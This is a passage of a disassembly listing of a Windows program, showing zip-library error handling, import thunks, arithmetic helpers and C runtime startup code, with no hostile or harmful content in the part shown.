found in the zipfile" jmp loc_43120C ; --------------------------------------------------------------------------- loc_431187: ; CODE XREF: TEUm:00431064j mov dword ptr [ebp-8], offset aStillMoreDataT ; "Still more data to unzip" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_431190: ; CODE XREF: TEUm:00431071j mov dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is corrupt or not a zipfile" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_431199: ; CODE XREF: TEUm:00431057j mov dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311A2: ; CODE XREF: TEUm:00431083j mov dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311AB: ; CODE XREF: TEUm:004310EDj mov dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311B4: ; CODE XREF: TEUm:00430FDAj mov dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311BD: ; CODE XREF: TEUm:004310C1j mov dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough space allocated for "... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311C6: ; CODE XREF: TEUm:004310CEj mov dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311CF: ; CODE XREF: TEUm:004310B4j mov dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311D8: ; CODE XREF: TEUm:0043109Ej mov dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311E1: ; CODE XREF: TEUm:00431115j mov dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311EA: ; CODE XREF: TEUm:00431122j mov dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to seek the unseekable" jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311F3: ; CODE XREF: TEUm:004310E0j mov dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_4311FC: ; CODE XREF: TEUm:00431108j mov dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but not "... jmp short loc_43120C ; --------------------------------------------------------------------------- loc_431205: ; CODE XREF: TEUm:00431134j mov dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error during flati"... loc_43120C: ; CODE XREF: TEUm:00431023j ; TEUm:00431042j ... mov edx, [ebp-8] push edx call sub_4318BE ; strlen add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp+0Ch], 0 jz short loc_431227 cmp dword ptr [ebp+10h], 0 jnz short loc_43122C loc_431227: ; CODE XREF: TEUm:0043121Fj mov eax, [ebp-4] jmp short loc_431267 ; --------------------------------------------------------------------------- loc_43122C: ; CODE XREF: TEUm:00431225j mov eax, [ebp-4] mov [ebp-0Ch], eax mov ecx, [ebp-0Ch] add ecx, 1 cmp ecx, [ebp+10h] jbe short loc_431246 mov edx, [ebp+10h] sub edx, 1 mov [ebp-0Ch], edx loc_431246: ; CODE XREF: TEUm:0043123Bj mov eax, [ebp-0Ch] push eax mov ecx, [ebp-8] push ecx mov edx, [ebp+0Ch] push edx call dword_43319C ; strncpy add esp, 0Ch mov eax, [ebp+0Ch] add eax, [ebp-0Ch] mov byte ptr [eax], 0 mov eax, [ebp-4] loc_431267: ; CODE XREF: TEUm:0043122Aj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43126B proc near ; CODE XREF: sub_424A2E+26p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43126B mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push 23Ch call sub_431784 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0 cmp [ebp+var_1C], 0 jz short loc_4312B0 mov ecx, [ebp+var_1C] call sub_431750 mov [ebp+var_28], eax jmp short loc_4312B7 ; --------------------------------------------------------------------------- loc_4312B0: ; CODE XREF: sub_43126B+36j mov [ebp+var_28], 0 loc_4312B7: ; CODE XREF: sub_43126B+43j mov eax, [ebp+var_28] mov [ebp+var_18], eax mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_18] mov [ebp+var_10], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_10] call sub_43012E mov ds:dword_43BD44, eax cmp ds:dword_43BD44, 0 jz short loc_431302 mov edx, [ebp+var_10] mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_43177E add esp, 4 xor eax, eax jmp short loc_43132A ; --------------------------------------------------------------------------- loc_431302: ; CODE XREF: sub_43126B+7Fj push 8 call sub_431784 add esp, 4 mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov [ebp+var_14], ecx mov edx, [ebp+var_14] mov dword ptr [edx], 1 mov eax, [ebp+var_14] mov ecx, [ebp+var_10] mov [eax+4], ecx mov eax, [ebp+var_14] loc_43132A: ; CODE XREF: sub_43126B+95j mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43126B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431338 proc near ; CODE XREF: sub_424A2E+37p ; sub_424A2E+52p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_431355 mov ds:dword_43BD44, 10000h mov eax, 10000h jmp short loc_431397 ; --------------------------------------------------------------------------- loc_431355: ; CODE XREF: sub_431338+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_431374 mov ds:dword_43BD44, 80000h mov eax, 80000h jmp short loc_431397 ; --------------------------------------------------------------------------- loc_431374: ; CODE XREF: sub_431338+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov ecx, [ebp+var_4] call sub_4301DC mov ds:dword_43BD44, eax mov eax, ds:dword_43BD44 loc_431397: ; CODE XREF: sub_431338+1Bj ; sub_431338+3Aj mov esp, ebp pop ebp retn sub_431338 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 134h cmp dword ptr [ebp+8], 0 jnz short loc_4313BE mov ds:dword_43BD44, 10000h mov eax, 10000h jmp loc_4314A0 ; --------------------------------------------------------------------------- loc_4313BE: ; CODE XREF: TEUm:004313A8j mov eax, [ebp+8] mov [ebp-134h], eax mov ecx, [ebp-134h] cmp dword ptr [ecx], 1 jz short loc_4313E6 mov ds:dword_43BD44, 80000h mov eax, 80000h jmp loc_4314A0 ; --------------------------------------------------------------------------- loc_4313E6: ; CODE XREF: TEUm:004313D0j mov edx, [ebp-134h] mov eax, [edx+4] mov [ebp-4], eax lea ecx, [ebp-130h] push ecx mov edx, [ebp+0Ch] push edx mov ecx, [ebp-4] call sub_4301DC mov ds:dword_43BD44, eax cmp ds:dword_43BD44, 0 jnz loc_43149B mov eax, [ebp+10h] mov ecx, [ebp-130h] mov [eax], ecx mov edx, [ebp+10h] mov eax, [ebp-28h] mov [edx+108h], eax mov ecx, [ebp+10h] mov edx, [ebp-24h] mov [ecx+10Ch], edx mov eax, [ebp-20h] mov [ecx+110h], eax mov ecx, [ebp+10h] mov edx, [ebp-1Ch] mov [ecx+114h], edx mov eax, [ebp-18h] mov [ecx+118h], eax mov ecx, [ebp+10h] mov edx, [ebp-14h] mov [ecx+11Ch], edx mov eax, [ebp-10h] mov [ecx+120h], eax mov ecx, [ebp+10h] mov edx, [ebp-0Ch] mov [ecx+124h], edx mov eax, [ebp+10h] mov ecx, [ebp-8] mov [eax+128h], ecx lea edx, [ebp-12Ch] push edx mov eax, [ebp+10h] add eax, 4 push eax call sub_4318B8 ; strcpy add esp, 8 loc_43149B: ; CODE XREF: TEUm:00431411j mov eax, ds:dword_43BD44 loc_4314A0: ; CODE XREF: TEUm:004313B9j ; TEUm:004313E1j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_4314C1 mov ds:dword_43BD44, 10000h mov eax, 10000h jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314C1: ; CODE XREF: TEUm:004314AEj mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] cmp dword ptr [ecx], 1 jz short loc_4314E0 mov ds:dword_43BD44, 80000h mov eax, 80000h jmp short loc_43150B ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: TEUm:004314CDj mov edx, [ebp-8] mov eax, [edx+4] mov [ebp-4], eax mov ecx, [ebp+18h] push ecx mov edx, [ebp+14h] push edx mov al, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp-4] call sub_430867 mov ds:dword_43BD44, eax mov eax, ds:dword_43BD44 loc_43150B: ; CODE XREF: TEUm:004314BFj ; TEUm:004314DEj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 134h cmp dword ptr [ebp+8], 0 jnz short loc_431532 mov ds:dword_43BD44, 10000h mov eax, 10000h jmp loc_43161C ; --------------------------------------------------------------------------- loc_431532: ; CODE XREF: TEUm:0043151Cj mov eax, [ebp+8] mov [ebp-134h], eax mov ecx, [ebp-134h] cmp dword ptr [ecx], 1 jz short loc_43155A mov ds:dword_43BD44, 80000h mov eax, 80000h jmp loc_43161C ; --------------------------------------------------------------------------- loc_43155A: ; CODE XREF: TEUm:00431544j mov edx, [ebp-134h] mov eax, [edx+4] mov [ebp-4], eax lea ecx, [ebp-130h] push ecx mov edx, [ebp+14h] push edx mov al, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp-4] call sub_430867 mov ds:dword_43BD44, eax cmp ds:dword_43BD44, 0 jnz loc_431617 mov edx, [ebp+18h] mov eax, [ebp-130h] mov [edx], eax mov ecx, [ebp+18h] mov edx, [ebp-28h] mov [ecx+108h], edx mov eax, [ebp+18h] mov ecx, [ebp-24h] mov [eax+10Ch], ecx mov edx, [ebp-20h] mov [eax+110h], edx mov eax, [ebp+18h] mov ecx, [ebp-1Ch] mov [eax+114h], ecx mov edx, [ebp-18h] mov [eax+118h], edx mov eax, [ebp+18h] mov ecx, [ebp-14h] mov [eax+11Ch], ecx mov edx, [ebp-10h] mov [eax+120h], edx mov eax, [ebp+18h] mov ecx, [ebp-0Ch] mov [eax+124h], ecx mov edx, [ebp+18h] mov eax, [ebp-8] mov [edx+128h], eax lea ecx, [ebp-12Ch] push ecx mov edx, [ebp+18h] add edx, 4 push edx call sub_4318B8 ; strcpy add esp, 8 loc_431617: ; CODE XREF: TEUm:0043158Dj mov eax, ds:dword_43BD44 loc_43161C: ; CODE XREF: TEUm:0043152Dj ; TEUm:00431555j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431620 proc near ; CODE XREF: sub_424A2E+64p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_43163D mov ds:dword_43BD44, 10000h mov eax, 10000h jmp short loc_431687 ; --------------------------------------------------------------------------- loc_43163D: ; CODE XREF: sub_431620+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_43165C mov ds:dword_43BD44, 80000h mov eax, 80000h jmp short loc_431687 ; --------------------------------------------------------------------------- loc_43165C: ; CODE XREF: sub_431620+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+var_4] call sub_430A42 mov ds:dword_43BD44, eax mov eax, ds:dword_43BD44 loc_431687: ; CODE XREF: sub_431620+1Bj ; sub_431620+3Aj mov esp, ebp pop ebp retn sub_431620 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43168B proc near ; CODE XREF: sub_424A2E+72p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_4316A8 mov ds:dword_43BD44, 10000h mov eax, 10000h jmp short loc_431706 ; --------------------------------------------------------------------------- loc_4316A8: ; CODE XREF: sub_43168B+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 1 jz short loc_4316C7 mov ds:dword_43BD44, 80000h mov eax, 80000h jmp short loc_431706 ; --------------------------------------------------------------------------- loc_4316C7: ; CODE XREF: sub_43168B+29j mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] call sub_430F58 mov ds:dword_43BD44, eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_43177E add esp, 4 mov eax, [ebp+var_8] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_43177E add esp, 4 mov eax, ds:dword_43BD44 loc_431706: ; CODE XREF: sub_43168B+1Bj ; sub_43168B+3Aj mov esp, ebp pop ebp retn sub_43168B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_431718 mov al, 1 jmp short loc_431729 ; --------------------------------------------------------------------------- loc_431718: ; CODE XREF: TEUm:00431712j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp-4] xor eax, eax cmp dword ptr [ecx], 1 setz al loc_431729: ; CODE XREF: TEUm:00431716j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431730 proc near ; CODE XREF: sub_430A42+339p ; sub_430A42+355p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_433214 ; _mbsstr add esp, 8 pop ebp retn sub_431730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431750 proc near ; CODE XREF: sub_43126B+3Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+134h], 0FFFFFFFFh mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_431750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43177E proc near ; CODE XREF: sub_4210DD+16p ; sub_4219B0+1Dp ... jmp dword_433104 sub_43177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431784 proc near ; CODE XREF: sub_42103D+1Dp ; sub_424152+10p ... jmp dword_433138 sub_431784 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43178A proc near ; CODE XREF: sub_421ACF+99p ; sub_422C48+80p ... jmp dword_433134 sub_43178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431790 proc near ; CODE XREF: sub_421C92+CCp jmp dword_433130 sub_431790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431796 proc near ; CODE XREF: TEUm:00422644p ; sub_422A1E+15Cp ... jmp dword_43312C sub_431796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43179C proc near ; CODE XREF: TEUm:00422638p ; sub_422A1E+C3p ... jmp dword_433128 sub_43179C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317A2 proc near ; CODE XREF: TEUm:0042261Cp ; TEUm:00422659p ... jmp dword_433124 sub_4317A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317A8 proc near ; CODE XREF: TEUm:00422610p ; sub_422A1E+141p ... jmp dword_433120 sub_4317A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317AE proc near ; CODE XREF: TEUm:0042253Ap ; sub_422A1E+18p ... jmp dword_43311C sub_4317AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317B4 proc near ; CODE XREF: sub_422A1E+129p ; sub_425353+114p ... jmp dword_433118 sub_4317B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317BA proc near ; CODE XREF: sub_424606+16Cp ; sub_424606+292p ... jmp dword_433114 sub_4317BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317C0 proc near ; CODE XREF: sub_426584+7Fp ; sub_42692B+A9p ... jmp dword_433110 sub_4317C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317C6 proc near ; CODE XREF: sub_426584+72p ; sub_426584+CBp ... jmp dword_43310C sub_4317C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317CC proc near ; CODE XREF: sub_424B41+4A3p ; sub_424B41+5CBp jmp dword_433108 sub_4317CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317D2 proc near ; CODE XREF: sub_424B41+424p ; sub_424B41+552p jmp dword_433100 sub_4317D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317D8 proc near ; CODE XREF: sub_425353+43p ; sub_425353+54p ... jmp dword_4330FC sub_4317D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317DE proc near ; CODE XREF: sub_426022+12Fp ; sub_42852F+1BAp jmp dword_4330F8 sub_4317DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317E4 proc near ; CODE XREF: sub_426022+CCp ; sub_426022+14Fp jmp dword_4330F4 sub_4317E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317EA proc near ; CODE XREF: sub_426584+DAp ; sub_42692B+104p ... jmp dword_4330F0 sub_4317EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317F0 proc near ; CODE XREF: sub_426584+B7p ; sub_426584+122p ... jmp dword_4330EC sub_4317F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317F6 proc near ; CODE XREF: sub_426584+68p ; sub_426584+112p ... jmp dword_4330E8 sub_4317F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4317FC proc near ; CODE XREF: SEH_421109+5j ; sub_431D0A+5j ... jmp dword_4331DC sub_4317FC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431810 proc near ; CODE XREF: sub_421109+7Cp cmp cl, 40h jnb short loc_43182A cmp cl, 20h jnb short loc_431820 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_431820: ; CODE XREF: sub_431810+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_43182A: ; CODE XREF: sub_431810+3j xor eax, eax xor edx, edx retn sub_431810 endp ; =============== S U B R O U T I N E ======================================= sub_43182F proc near ; DATA XREF: TEUm:off_434AD4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_431A78 test [esp+4+arg_0], 1 jz short loc_431845 push esi call sub_43177E pop ecx loc_431845: ; CODE XREF: sub_43182F+Dj mov eax, esi pop esi retn 4 sub_43182F endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43184C proc near ; CODE XREF: TEUm:00421217p ; TEUm:004212F2p ... jmp dword_4331E0 sub_43184C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431860 proc near ; CODE XREF: TEUm:00421299p ; sub_42146A+1Ep ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_431880 loc_43186C: ; CODE XREF: sub_431860+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_43186C loc_431880: ; CODE XREF: sub_431860+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_431860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431890 proc near ; CODE XREF: TEUm:0042174Bp cmp cl, 40h jnb short loc_4318AB cmp cl, 20h jnb short loc_4318A0 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_4318A0: ; CODE XREF: sub_431890+8j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_4318AB: ; CODE XREF: sub_431890+3j sar edx, 1Fh mov eax, edx retn sub_431890 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318B2 proc near ; CODE XREF: sub_421ACF+29p ; TEUm:00421C2Fp ... jmp dword_433204 sub_4318B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318B8 proc near ; CODE XREF: sub_422296+B1p ; sub_422296+FAp ... jmp dword_4331FC sub_4318B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318BE proc near ; CODE XREF: sub_422296+5Ap ; sub_42239F+Bp ... jmp dword_4331F8 sub_4318BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318C4 proc near ; CODE XREF: sub_4227A4+1E8p ; sub_42A0B0+CAp ... jmp dword_4331C0 sub_4318C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318CA proc near ; CODE XREF: sub_422A1E+5p ; sub_422BB1+5p ... jmp dword_4331BC sub_4318CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4318D0 proc near ; CODE XREF: sub_422FB0+E8p ; sub_4230F8+125p ... jmp dword_4331B8 sub_4318D0 endp ; =============== S U B R O U T I N E ======================================= sub_4318D6 proc near ; CODE XREF: sub_431902+4p arg_0 = dword ptr 4 cmp ds:dword_43BD80, 0FFFFFFFFh jnz short loc_4318EB push [esp+arg_0] call dword_433220 ; _onexit pop ecx retn ; --------------------------------------------------------------------------- loc_4318EB: ; CODE XREF: sub_4318D6+7j push offset dword_43BD7C push offset dword_43BD80 push [esp+8+arg_0] call sub_431A7E ; __dllonexit add esp, 0Ch retn sub_4318D6 endp ; =============== S U B R O U T I N E ======================================= sub_431902 proc near ; CODE XREF: sub_42850E+8p ; sub_431B21+21p arg_0 = dword ptr 4 push [esp+arg_0] call sub_4318D6 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_431902 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431914 proc near ; CODE XREF: sub_42EB64+11p ; sub_4301DC+4B8p jmp dword_43320C sub_431914 endp ; --------------------------------------------------------------------------- loc_43191A: ; CODE XREF: TEUm:0043EB04j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434AD8 push offset sub_431AA6 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 68h push ebx push esi push edi mov [ebp-18h], esp xor ebx, ebx mov [ebp-4], ebx push 2 call dword_43324C ; __set_app_type pop ecx or ds:dword_43BD7C, 0FFFFFFFFh or ds:dword_43BD80, 0FFFFFFFFh call dword_433248 ; __p__fmode mov ecx, ds:dword_43BD64 mov [eax], ecx call dword_433244 ; __p__commode mov ecx, ds:dword_43BD60 mov [eax], ecx mov eax, dword_433240 mov eax, [eax] mov ds:dword_43BD78, eax call nullsub_1 cmp ds:dword_437C40, ebx jnz short loc_43199D push offset sub_431AA2 call dword_43323C ; __setusermatherr pop ecx loc_43199D: ; CODE XREF: TEUm:0043198Fj call sub_431A90 push offset dword_437014 push offset dword_437010 call sub_431A8A ; _initterm mov eax, ds:dword_43BD5C mov [ebp-6Ch], eax lea eax, [ebp-6Ch] push eax push ds:dword_43BD58 lea eax, [ebp-64h] push eax lea eax, [ebp-70h] push eax lea eax, [ebp-60h] push eax call dword_433230 ; __getmainargs push offset dword_43700C push offset dword_437000 call sub_431A8A ; _initterm add esp, 24h mov eax, dword_433234 mov esi, [eax] mov [ebp-74h], esi cmp byte ptr [esi], 22h jnz short loc_431A30 loc_4319F6: ; CODE XREF: TEUm:00431A02j inc esi mov [ebp-74h], esi mov al, [esi] cmp al, bl jz short loc_431A04 cmp al, 22h jnz short loc_4319F6 loc_431A04: ; CODE XREF: TEUm:004319FEj cmp byte ptr [esi], 22h jnz short loc_431A0D loc_431A09: ; CODE XREF: TEUm:00431A15j inc esi mov [ebp-74h], esi loc_431A0D: ; CODE XREF: TEUm:00431A07j ; TEUm:00431A33j mov al, [esi] cmp al, bl jz short loc_431A17 cmp al, 20h jbe short loc_431A09 loc_431A17: ; CODE XREF: TEUm:00431A11j mov [ebp-30h], ebx lea eax, [ebp-5Ch] push eax call dword_433084 ; GetStartupInfoA test byte ptr [ebp-30h], 1 jz short loc_431A3B movzx eax, word ptr [ebp-2Ch] jmp short loc_431A3E ; --------------------------------------------------------------------------- loc_431A30: ; CODE XREF: TEUm:004319F4j ; TEUm:00431A39j cmp byte ptr [esi], 20h jbe short loc_431A0D inc esi mov [ebp-74h], esi jmp short loc_431A30 ; --------------------------------------------------------------------------- loc_431A3B: ; CODE XREF: TEUm:00431A28j push 0Ah pop eax loc_431A3E: ; CODE XREF: TEUm:00431A2Ej push eax push esi push ebx push ebx call dword_433088 ; GetModuleHandleA push eax call sub_429672 mov [ebp-68h], eax push eax call dword_43322C ; exit mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-78h], ecx push eax push ecx call sub_431A84 ; _XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-78h] call dword_433224 ; _exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431A78 proc near ; CODE XREF: sub_43182F+3p jmp dword_433218 sub_431A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431A7E proc near ; CODE XREF: sub_4318D6+23p jmp dword_43321C sub_431A7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431A84 proc near ; CODE XREF: TEUm:00431A64p jmp dword_433228 sub_431A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431A8A proc near ; CODE XREF: TEUm:004319ACp ; TEUm:004319DFp jmp dword_433238 sub_431A8A endp ; =============== S U B R O U T I N E ======================================= sub_431A90 proc near ; CODE XREF: TEUm:loc_43199Dp push 30000h push 10000h call sub_431AAC ; _controlfp pop ecx pop ecx retn sub_431A90 endp ; =============== S U B R O U T I N E ======================================= sub_431AA2 proc near ; DATA XREF: TEUm:00431991o xor eax, eax retn sub_431AA2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431AA6 proc near ; DATA XREF: TEUm:00431924o jmp dword_433250 sub_431AA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431AAC proc near ; CODE XREF: sub_431A90+Ap jmp dword_433258 sub_431AAC endp ; =============== S U B R O U T I N E ======================================= sub_431AB2 proc near ; CODE XREF: sub_423489+4Bp ; sub_423489+A4p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_431CA4 retn 4 sub_431AB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431AC0 proc near ; CODE XREF: sub_42430E+20p ; sub_4243E7+20p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_431B12 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_437C48 push eax call dword ptr [ecx] test eax, eax jl short loc_431B12 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_431B12 lea eax, [ebp+var_4] push eax push 0 call dword_43327C test eax, eax jz short loc_431B12 and [ebp+var_4], 0 loc_431B12: ; CODE XREF: sub_431AC0+Dj ; sub_431AC0+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_431CA4 leave retn 0Ch sub_431AC0 endp ; =============== S U B R O U T I N E 